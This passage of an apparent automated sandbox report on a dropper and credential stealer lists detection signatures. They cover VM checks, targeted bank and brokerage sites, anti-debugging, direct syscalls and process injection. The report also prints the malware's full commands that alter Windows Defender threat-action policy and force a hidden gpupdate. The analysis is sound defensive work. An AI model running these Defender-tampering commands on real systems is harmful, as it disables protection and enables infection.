Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\i1.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0041D8B1 FindFirstFileExA,	6_2_0041D8B1
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040FDB18 FindFirstFileExA,	6_2_040FDB18
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00412570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_00412570
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_0040D1C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	8_2_0040D1C0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_004015C0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_004015C0
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00411650 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	8_2_00411650
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_0040B610 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	8_2_0040B610
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_0040DB60 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	8_2_0040DB60
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00411B80 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	8_2_00411B80
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_0040D540 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	8_2_0040D540
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_004121F0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	8_2_004121F0

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Code function: 8_2_00401120 GetSystemInfo,ExitProcess,

8_2_00401120

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData\Local\Temp\u5do.2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: Amcache.hve.29.dr	Binary or memory string: VMware
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: Datacenter without Hyper-V Core
Source: cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1!0
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.29.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000002.2202781227.000000000052A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2202726324.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201364839.000000000052A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201263474.00000000004F1000.00000004.00000020.00020000.00000000.sdmp, u5do.0.exe, 00000008.00000002.2524680807.00000000041E6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.3224527884.0000020E72C59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.1
Source: cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.0
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: VMWARE_VIRTUAL
Source: Amcache.hve.29.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: svchost.exe, 00000026.00000002.3221747424.0000020E6D62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Amcache.hve.29.dr	Binary or memory string: vmci.sys
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Amcache.hve.29.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.29.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.29.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.29.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: u5do.0.exe, 00000008.00000002.2524680807.000000000418A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Amcache.hve.29.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.29.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.29.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.29.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.29.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.29.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.2202781227.000000000052A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2201364839.000000000052A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: Datacenter without Hyper-V Full
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: Enterprise without Hyper-V Full
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.29.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: Microsoft Hyper-V Server
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.29.dr	Binary or memory string: VMware Virtual USB Mouse
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: QEMU_HARDU
Source: Amcache.hve.29.dr	Binary or memory string: vmci.syshbin
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: Standard without Hyper-V Full
Source: Amcache.hve.29.dr	Binary or memory string: VMware, Inc.
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: Enterprise without Hyper-V Core
Source: u5do.0.exe, 00000008.00000002.2524680807.000000000418A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Amcache.hve.29.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.29.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.29.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: cmd.exe, 0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: http://www.vmware.com/0/
Source: Amcache.hve.29.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.29.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.29.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: powershell.exe, 00000007.00000002.2069013279.0000000007A46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: u5do.3.exe, 00000011.00000003.2421120537.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllw
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: 6without Hyper-V for Windows Essential Server Solutions
Source: Amcache.hve.29.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.29.dr	Binary or memory string: vmci.syshbin`
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.29.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.29.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.29.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: i1.exe, 00000006.00000003.2228626485.00000000070C0000.00000004.00000020.00020000.00000000.sdmp, u5do.3.exe, 00000011.00000000.2221929722.000000000041C000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: Standard without Hyper-V Core
Source: u5do.0.exe, 00000008.00000003.2174126227.000000002A8AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-3252
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	API call chain: ExitProcess graph end node	graph_8-72017
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	API call chain: ExitProcess graph end node	graph_8-73009
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	API call chain: ExitProcess graph end node	graph_8-71973
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	API call chain: ExitProcess graph end node	graph_8-71976
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	API call chain: ExitProcess graph end node	graph_8-71994
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	API call chain: ExitProcess graph end node	graph_8-71987
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	API call chain: ExitProcess graph end node	graph_8-71995
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	API call chain: ExitProcess graph end node	graph_8-71816

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Code function: 8_2_00402130 LdrInitializeThunk,

8_2_00402130

Source: C:\Users\user\AppData\Local\Temp\i1.exe

Code function: 6_2_00409A73 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00409A73

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

8_2_00416240

Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_004139E7 mov eax, dword ptr fs:[00000030h]	6_2_004139E7
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040F3C4E mov eax, dword ptr fs:[00000030h]	6_2_040F3C4E
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040E0D90 mov eax, dword ptr fs:[00000030h]	6_2_040E0D90
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040E092B mov eax, dword ptr fs:[00000030h]	6_2_040E092B
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_041852F3 push dword ptr fs:[00000030h]	6_2_041852F3
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00415DC0 mov eax, dword ptr fs:[00000030h]	8_2_00415DC0

Source: C:\Users\user\AppData\Local\Temp\i1.exe

Code function: 6_2_00420AEA GetProcessHeap,

6_2_00420AEA

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_00409A73 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00409A73
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_00409C06 SetUnhandledExceptionFilter,	6_2_00409C06
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_00409EBE SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00409EBE
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_0041073B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0041073B
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040E9CDA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_040E9CDA
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040E9E6D SetUnhandledExceptionFilter,	6_2_040E9E6D
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040EA125 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_040EA125
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Code function: 6_2_040F09A2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_040F09A2
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00419DC7 SetUnhandledExceptionFilter,	8_2_00419DC7
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00417B4E
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_004173DD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_004173DD
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCDB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_6BCDB1F7
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Code function: 8_2_6BCDB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_6BCDB66C

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\svchost.exe

File created: BIT3C1E.tmp.38.dr

Jump to dropped file

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	NtSetInformationThread: Direct from: 0x68AE617C
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	NtQuerySystemInformation: Direct from: 0x355BE4

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: NULL target: unknown protection: read write

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
